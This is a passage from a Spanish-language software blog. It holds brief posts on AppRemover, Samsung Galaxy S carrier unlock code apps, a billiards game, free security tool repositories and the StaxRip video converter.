» Sitio Oficial | Lista de aplicaciones soportadas por AppRemover
» Enlace de descarga | AppRemover
» Fuente de referencia | kabytes

Compartelo:

[?]

AppRemover, una herramienta para desinstalar prácticamente cualquier antivirus o antispyware es un post de: ¡De todo un poco!

Tanto el Samsung Wave S5800, como el Samsung Galaxy S están entre los móviles mas vendidos del momento. Sin embargo, muchas veces las operadoras lo modifican para que sólo pueda ser usado con sus redes. Navegando por internet me he encontrado con una solución gratis a este problema. Los del foro XDA-Developers han averiguado que cada terminal Samsung Galaxy S alberga en su interior sus propios códigos de liberación y desbloqueo.

Gracias a esa información se han podido crear aplicaciones para Mac,  Windows y Android (sí, desde el propio terminal), para obtener dichos códigos.

Para introducirlo tenemos que apagar el terminal cambiar la SIM por una de otro operador y meter el código que acabamos de obtener cuando el terminal nos lo pida. Tras eso, el terminal está liberado y puede ser utilizado con otro operador.

Pinche aquí para ver el vídeo

» Sitio Oficial | XDA-Developers
» Enlace de descarga | Samsung Galaxy S Unlock Codes Application

Compartelo:

[?]

Liberar el nuevo Samsung Galaxy S por IMEI, mas fácil imposible es un post de: ¡De todo un poco!

Billiards es uno de los juegos de billar online más populares por su extrema sencillez y su gran jugabilidad. Dispone de dos modos de juego distintos: ‘8-ball‘ y ‘Straight Pool‘. En el modo de juego ’8-ball’ nuestro objetivo será meter todas las bolas de un tipo determinado (que será el de la primera bola que metamos) y la bola negra antes que nuestro adversario.

Mientras metamos una bola del tipo que nos corresponda, tendremos la oportunidad de seguir jugando. Si no lo consiguiéramos o si metiéramos una bola del tipo contrario perderíamos el turno. Este modo de juego soporta juego contra la CPU y multijugador (2 jugadores).

En el modo de juego ‘Straight Pool‘ nuestro objetivo será meter más bolas que nuestro adversario, sean del tipo que sean y en el orden que queramos.

Los turnos serán similares al del modo ‘8-ball‘, aunque, al no estar definido el tipo de bola a meter, no perderemos el turno a no ser que no consigamos meter una bola. Este modo de juego soporta el juego en solitario, juego contra la CPU y multijugador (2 jugadores).

Billiards incorpora también música de fondo y sonido real al golpear las bolas, siendo posible la desactivación de ambos.

» Sitio Oficial | Axifer Billiards
» Fuente de referencia | Softonic

Compartelo:

[?]

Divertido juego de billar para jugar solo o acompañado de tus amigos es un post de: ¡De todo un poco!

Hace poco, los de PenTester Francia, hicieron público un repositorio de herramientas de seguridad, algunas sobradamente conocidas por todos, mientras que otras no tanto. El repositorio está bastante ordenado, con lo que os recomendamos que le deis un vistazo ya que siempre se puede conocer una nueva “amiga” o al menos recuperar una vieja “conocida”.

Además del repositorio de herramientas seguridad anunciado por PenTester Francia, aprovechamos para recordaros otros repositorios, como el de Herramientas de Seguridad de Microsoft o otro proyecto muy interesantes llamado BinkPack. Este ultimo es un repositorio de herramientas portables de seguridad para Windows.

» Licencia | Freeware / Gratis / GPL
» Sitio Oficial | PenTester Francia
» Sitio Oficial | Herramientas de Seguridad de Microsoft
» Sitio Oficial | BinPack – West Coast Hackers
» Fuente de referencia | Informatica64

Compartelo:

[?]

Tres repositorios de herramientas de seguridad gratuitas es un post de: ¡De todo un poco!

Con StaxRip podremos convertir DVD a DivX de forma sumamente sencilla, y no sólo podremos convertir el archivo de video a este formato, sino que podremos seleccionar diversos formatos para convertirlo.

StaxRip puede ser utilizado tanto por usuarios básicos como avanzados, ya que podemos seleccionar el archivo a tratar, luego el formato de conversión y comenzar el proceso de forma rápida y sencilla, pero también contamos con opciones más avanzadas para especificar diversos valores del archivo de destino.

De esta forma podremos obtener un archivo más liviano, pero de buena calidad de forma simple y veloz utilizando un programa como StaxRip.

» Licencia | Freeware
» Sistema Operativo | Windows
» Sitio Oficial | StaxRip
» Enlace de descarga | StaxRip
» Fuente de referencia | Error405

Compartelo: